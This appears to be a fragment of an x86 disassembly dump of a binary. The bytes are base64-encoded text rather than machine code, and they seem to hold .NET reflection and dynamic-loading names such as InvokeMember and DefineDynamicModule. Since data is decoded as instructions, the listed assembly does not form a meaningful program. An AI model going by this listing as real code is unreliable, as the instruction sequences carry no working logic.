478242:	7a 5a                	jp     0x47829e
478244:	56                   	push   %esi
478245:	45                   	inc    %ebp
478246:	41                   	inc    %ecx
478247:	54                   	push   %esp
478248:	47                   	inc    %edi
478249:	52                   	push   %edx
47824a:	73 62                	jae    0x4782ae
47824c:	32 4e 66             	xor    0x66(%esi),%cl
47824f:	55                   	push   %ebp
478250:	77 42                	ja     0x478294
478252:	54                   	push   %esp
478253:	64 47                	fs inc %edi
478255:	78 76                	js     0x4782cd
478257:	59                   	pop    %ecx
478258:	31 39                	xor    %edi,(%ecx)
47825a:	54                   	push   %esp
47825b:	41                   	inc    %ecx
47825c:	45                   	inc    %ebp
47825d:	4a                   	dec    %edx
47825e:	79 5a                	jns    0x4782ba
478260:	6d                   	insl   (%dx),%es:(%edi)
478261:	46                   	inc    %esi
478262:	73 63                	jae    0x4782c7
478264:	32 56 66             	xor    0x66(%esi),%dl
478267:	55                   	push   %ebp
478268:	77 42                	ja     0x4782ac
47826a:	43                   	inc    %ebx
47826b:	62 6d 56             	bound  %ebp,0x56(%ebp)
47826e:	66 56                	push   %si
478270:	57                   	push   %edi
478271:	35 66 55 77 42       	xor    $0x42775566,%eax
478276:	43                   	inc    %ebx
478277:	5a                   	pop    %edx
478278:	58                   	pop    %eax
478279:	46                   	inc    %esi
47827a:	66 55                	push   %bp
47827c:	77 42                	ja     0x4782c0
47827e:	43                   	inc    %ebx
47827f:	63 6c 39 54          	arpl   %ebp,0x54(%ecx,%edi,1)
478283:	41                   	inc    %ecx
478284:	45                   	inc    %ebp
478285:	4a                   	dec    %edx
478286:	73 64                	jae    0x4782ec
478288:	46                   	inc    %esi
478289:	39 54 41 48          	cmp    %edx,0x48(%ecx,%eax,2)
47828d:	4e                   	dec    %esi
47828e:	6c                   	insb   (%dx),%es:(%edi)
47828f:	64 46                	fs inc %esi
478291:	39 4a 56             	cmp    %ecx,0x56(%edx)
478294:	67 42                	addr16 inc %edx
478296:	35 54 55 6c 68       	xor    $0x686c5554,%eax
47829b:	57                   	push   %edi
47829c:	41                   	inc    %ecx
47829d:	42                   	inc    %edx
47829e:	32 54 46 4e          	xor    0x4e(%esi,%eax,2),%dl
4782a2:	68 57 6b 5a 47       	push   $0x475a6b57
4782a7:	5a                   	pop    %edx
4782a8:	6e                   	outsb  %ds:(%esi),(%dx)
4782a9:	56                   	push   %esi
4782aa:	68 57 46 6b 41       	push   $0x416b4657
4782af:	59                   	pop    %ecx
4782b0:	57                   	push   %edi
4782b1:	46                   	inc    %esi
4782b2:	68 41 45 64 6c       	push   $0x6c644541
4782b7:	64 45                	fs inc %ebp
4782b9:	52                   	push   %edx
4782ba:	68 64 47 45 41       	push   $0x41454764
4782bf:	56                   	push   %esi
4782c0:	47                   	inc    %edi
4782c1:	39 42 63             	cmp    %eax,0x63(%edx)
4782c4:	6d                   	insl   (%dx),%es:(%edi)
4782c5:	64 69 41 47 31 7a 59 	imul   $0x32597a31,%fs:0x47(%ecx),%eax
4782cc:	32
4782cd:	39 79 62             	cmp    %edi,0x62(%ecx)
4782d0:	47                   	inc    %edi
4782d1:	6c                   	insb   (%dx),%es:(%edi)
4782d2:	69 41 45 31 70 59 33 	imul   $0x33597031,0x45(%ecx),%eax
4782d9:	4a                   	dec    %edx
4782da:	76 63                	jbe    0x47833f
4782dc:	32 39                	xor    (%ecx),%bh
4782de:	6d                   	insl   (%dx),%es:(%edi)
4782df:	64 43                	fs inc %ebx
4782e1:	35 57 61 58 4e       	xor    $0x4e586157,%eax
4782e6:	31 59 57             	xor    %ebx,0x57(%ecx)
4782e9:	78 43                	js     0x47832e
4782eb:	59                   	pop    %ecx
4782ec:	58                   	pop    %eax
4782ed:	4e                   	dec    %esi
4782ee:	70 59                	jo     0x478349
4782f0:	77 42                	ja     0x478334
4782f2:	68 63 32 52 68       	push   $0x68523263
4782f7:	5a                   	pop    %edx
4782f8:	47                   	inc    %edi
4782f9:	46                   	inc    %esi
4782fa:	6b 41 46 4a          	imul   $0x4a,0x46(%ecx),%eax
4782fe:	6c                   	insb   (%dx),%es:(%edi)
4782ff:	59                   	pop    %ecx
478300:	57                   	push   %edi
478301:	51                   	push   %ecx
478302:	41                   	inc    %ecx
478303:	56                   	push   %esi
478304:	47                   	inc    %edi
478305:	68 79 5a 57 46       	push   $0x46575a79
47830a:	6b 41 45 78          	imul   $0x78,0x45(%ecx),%eax
47830e:	76 59                	jbe    0x478369
478310:	57                   	push   %edi
478311:	51                   	push   %ecx
478312:	41                   	inc    %ecx
478313:	51                   	push   %ecx
478314:	57                   	push   %edi
478315:	52                   	push   %edx
478316:	6b 41 45 52          	imul   $0x52,0x45(%ecx),%eax
47831a:	6c                   	insb   (%dx),%es:(%edi)
47831b:	5a                   	pop    %edx
47831c:	6d                   	insl   (%dx),%es:(%edi)
47831d:	6c                   	insb   (%dx),%es:(%edi)
47831e:	75 5a                	jne    0x47837a
478320:	55                   	push   %ebp
478321:	31 6c 64 47          	xor    %ebp,0x47(%esp,%eiz,2)
478325:	68 76 5a 41 42       	push   $0x42415a76
47832a:	48                   	dec    %eax
47832b:	5a                   	pop    %edx
47832c:	58                   	pop    %eax
47832d:	52                   	push   %edx
47832e:	4e                   	dec    %esi
47832f:	5a                   	pop    %edx
478330:	58                   	pop    %eax
478331:	52                   	push   %edx
478332:	6f                   	outsl  %ds:(%esi),(%dx)
478333:	62 32                	bound  %esi,(%edx)
478335:	51                   	push   %ecx
478336:	41                   	inc    %ecx
478337:	54                   	push   %esp
478338:	33 42 44             	xor    0x44(%edx),%eax
47833b:	62 32                	bound  %esi,(%edx)
47833d:	52                   	push   %edx
47833e:	6c                   	insb   (%dx),%es:(%edi)
47833f:	41                   	inc    %ecx
478340:	45                   	inc    %ebp
478341:	4e                   	dec    %esi
478342:	79 65                	jns    0x4783a9
478344:	58                   	pop    %eax
478345:	42                   	inc    %edx
478346:	30 62 31             	xor    %ah,0x31(%edx)
478349:	4e                   	dec    %esi
47834a:	30 63 6d             	xor    %ah,0x6d(%ebx)
47834d:	56                   	push   %esi
47834e:	68 62 55 31 76       	push   $0x76315562
478353:	5a                   	pop    %edx
478354:	47                   	inc    %edi
478355:	55                   	push   %ebp
478356:	41                   	inc    %ecx
478357:	5a                   	pop    %edx
478358:	32 56 30             	xor    0x30(%esi),%dl
47835b:	58                   	pop    %eax
47835c:	30 4a 70             	xor    %cl,0x70(%edx)
47835f:	5a                   	pop    %edx
478360:	30 56 75             	xor    %dl,0x75(%esi)
478363:	5a                   	pop    %edx
478364:	47                   	inc    %edi
478365:	6c                   	insb   (%dx),%es:(%edi)
478366:	68 62 6c 56 75       	push   $0x75566c62
47836b:	61                   	popa
47836c:	57                   	push   %edi
47836d:	4e                   	dec    %esi
47836e:	76 5a                	jbe    0x4783ca
478370:	47                   	inc    %edi
478371:	55                   	push   %ebp
478372:	41                   	inc    %ecx
478373:	53                   	push   %ebx
478374:	57                   	push   %edi
478375:	31 68 5a             	xor    %ebp,0x5a(%eax)
478378:	32 55 41             	xor    0x41(%ebp),%dl
47837b:	52                   	push   %edx
47837c:	57                   	push   %edi
47837d:	35 6b 53 57 35       	xor    $0x3557536b,%eax
478382:	32 62 32             	xor    0x32(%edx),%ah
478385:	74 6c                	je     0x4783f3
478387:	41                   	inc    %ecx
478388:	45                   	inc    %ebp
478389:	4a                   	dec    %edx
47838a:	6c                   	insb   (%dx),%es:(%edi)
47838b:	5a                   	pop    %edx
47838c:	32 6c 75 53          	xor    0x53(%ebp,%esi,2),%ch
478390:	57                   	push   %edi
478391:	35 32 62 32 74       	xor    $0x74326232,%eax
478396:	6c                   	insb   (%dx),%es:(%edi)
478397:	41                   	inc    %ecx
478398:	45                   	inc    %ebp
478399:	6c                   	insb   (%dx),%es:(%edi)
47839a:	45                   	inc    %ebp
47839b:	61                   	popa
47839c:	58                   	pop    %eax
47839d:	4e                   	dec    %esi
47839e:	77 62                	ja     0x478402
4783a0:	33 4e 68             	xor    0x68(%esi),%ecx
4783a3:	59                   	pop    %ecx
4783a4:	6d                   	insl   (%dx),%es:(%edi)
4783a5:	78 6c                	js     0x478413
4783a7:	41                   	inc    %ecx
4783a8:	45                   	inc    %ebp
4783a9:	68 68 63 32 68       	push   $0x68326368
4783ae:	30 59 57             	xor    %bl,0x57(%ecx)
4783b1:	4a                   	dec    %edx
4783b2:	73 5a                	jae    0x47840e
4783b4:	51                   	push   %ecx
4783b5:	42                   	inc    %edx
4783b6:	53                   	push   %ebx
4783b7:	64 57                	fs push %edi
4783b9:	35 30 61 57 31       	xor    $0x31576130,%eax
4783be:	6c                   	insb   (%dx),%es:(%edi)
4783bf:	56                   	push   %esi
4783c0:	48                   	dec    %eax
4783c1:	6c                   	insb   (%dx),%es:(%edi)
4783c2:	77 5a                	ja     0x47841e
4783c4:	55                   	push   %ebp
4783c5:	68 68 62 6d 52       	push   $0x526d6268
4783ca:	73 5a                	jae    0x478426
4783cc:	51                   	push   %ecx
4783cd:	42                   	inc    %edx
4783ce:	48                   	dec    %eax
4783cf:	5a                   	pop    %edx
4783d0:	58                   	pop    %eax
4783d1:	52                   	push   %edx
4783d2:	55                   	push   %ebp
4783d3:	65 58                	gs pop %eax
4783d5:	42                   	inc    %edx
4783d6:	6c                   	insb   (%dx),%es:(%edi)
4783d7:	52                   	push   %edx
4783d8:	6e                   	outsb  %ds:(%esi),(%dx)
4783d9:	4a                   	dec    %edx
4783da:	76 62                	jbe    0x47843e
4783dc:	55                   	push   %ebp
4783dd:	68 68 62 6d 52       	push   $0x526d6268
4783e2:	73 5a                	jae    0x47843e
4783e4:	51                   	push   %ecx
4783e5:	42                   	inc    %edx
4783e6:	45                   	inc    %ebp
4783e7:	5a                   	pop    %edx
4783e8:	57                   	push   %edi
4783e9:	5a                   	pop    %edx
4783ea:	70 62                	jo     0x47844e
4783ec:	6d                   	insl   (%dx),%es:(%edi)
4783ed:	56                   	push   %esi
4783ee:	45                   	inc    %ebp
4783ef:	65 57                	gs push %edi
4783f1:	35 68 62 57 6c       	xor    $0x6c576268,%eax
4783f6:	6a 54                	push   $0x54
4783f8:	57                   	push   %edi
4783f9:	39 6b 64             	cmp    %ebp,0x64(%ebx)
4783fc:	57                   	push   %edi
4783fd:	78 6c                	js     0x47846b
4783ff:	41                   	inc    %ecx
478400:	48                   	dec    %eax
478401:	4e                   	dec    %esi
478402:	6c                   	insb   (%dx),%es:(%edi)
478403:	64 46                	fs inc %esi
478405:	39 4f 59             	cmp    %ecx,0x59(%edi)
478408:	57                   	push   %edi
478409:	31 6c 41 45          	xor    %ebp,0x45(%ecx,%eax,2)
47840d:	64 6c                	fs insb (%dx),%es:(%edi)
47840f:	64 45                	fs inc %ebp
478411:	35 68 62 57 55       	xor    $0x55576268,%eax
478416:	41                   	inc    %ecx
478417:	51                   	push   %ecx
478418:	58                   	pop    %eax
478419:	4e                   	dec    %esi
47841a:	7a 5a                	jp     0x478476
47841c:	57                   	push   %edi
47841d:	31 69 62             	xor    %ebp,0x62(%ecx)
478420:	48                   	dec    %eax
478421:	6c                   	insb   (%dx),%es:(%edi)
478422:	4f                   	dec    %edi
478423:	59                   	pop    %ecx
478424:	57                   	push   %edi
478425:	31 6c 41 48          	xor    %ebp,0x48(%ecx,%eax,2)
478429:	42                   	inc    %edx
47842a:	79 62                	jns    0x47848e
47842c:	32 70 75             	xor    0x75(%eax),%dh
47842f:	59                   	pop    %ecx
478430:	57                   	push   %edi
478431:	31 6c 41 48          	xor    %ebp,0x48(%ecx,%eax,2)
478435:	42                   	inc    %edx
478436:	79 62                	jns    0x47849a
478438:	32 70 6c             	xor    0x6c(%eax),%dh
47843b:	59                   	pop    %ecx
47843c:	33 52 75             	xor    0x75(%edx),%edx
47843f:	59                   	pop    %ecx
478440:	57                   	push   %edi
478441:	31 6c 41 45          	xor    %ebp,0x45(%ecx,%eax,2)
478445:	52                   	push   %edx
478446:	6c                   	insb   (%dx),%es:(%edi)
478447:	5a                   	pop    %edx
478448:	6d                   	insl   (%dx),%es:(%edi)
478449:	6c                   	insb   (%dx),%es:(%edi)
47844a:	75 5a                	jne    0x4784a6
47844c:	56                   	push   %esi
47844d:	52                   	push   %edx
47844e:	35 63 47 55 41       	xor    $0x41554763,%eax
478453:	51                   	push   %ecx
478454:	33 4a 6c             	xor    0x6c(%edx),%ecx
478457:	59                   	pop    %ecx
478458:	58                   	pop    %eax
478459:	52                   	push   %edx
47845a:	6c                   	insb   (%dx),%es:(%edi)
47845b:	56                   	push   %esi
47845c:	48                   	dec    %eax
47845d:	6c                   	insb   (%dx),%es:(%edi)
47845e:	77 5a                	ja     0x4784ba
478460:	51                   	push   %ecx
478461:	42                   	inc    %edx
478462:	57                   	push   %edi
478463:	59                   	pop    %ecx
478464:	57                   	push   %edi
478465:	78 31                	js     0x478498
478467:	5a                   	pop    %edx
478468:	56                   	push   %esi
478469:	52                   	push   %edx
47846a:	35 63 47 55 41       	xor    $0x41554763,%eax
47846f:	55                   	push   %ebp
478470:	32 56 30             	xor    0x30(%esi),%dl
478473:	55                   	push   %ebp
478474:	6d                   	insl   (%dx),%es:(%edi)
478475:	56                   	push   %esi
478476:	30 64 58 4a          	xor    %ah,0x4a(%eax,%ebx,2)
47847a:	75 56                	jne    0x4784d2
47847c:	48                   	dec    %eax
47847d:	6c                   	insb   (%dx),%es:(%edi)
47847e:	77 5a                	ja     0x4784da
478480:	51                   	push   %ecx
478481:	42                   	inc    %edx
478482:	48                   	dec    %eax
478483:	5a                   	pop    %edx
478484:	58                   	pop    %eax
478485:	52                   	push   %edx
478486:	55                   	push   %ebp
478487:	65 58                	gs pop %eax
478489:	42                   	inc    %edx
47848a:	6c                   	insb   (%dx),%es:(%edi)
47848b:	41                   	inc    %ecx
47848c:	47                   	inc    %edi
47848d:	56                   	push   %esi
47848e:	6c                   	insb   (%dx),%es:(%edi)
47848f:	64 33 46 6c          	xor    %fs:0x6c(%esi),%eax
478493:	41                   	inc    %ecx
478494:	45                   	inc    %ebp
478495:	31 6c 64 47          	xor    %ebp,0x47(%esp,%eiz,2)
478499:	68 76 5a 45 4a       	push   $0x4a455a76
47849e:	68 63 32 55 41       	push   $0x41553263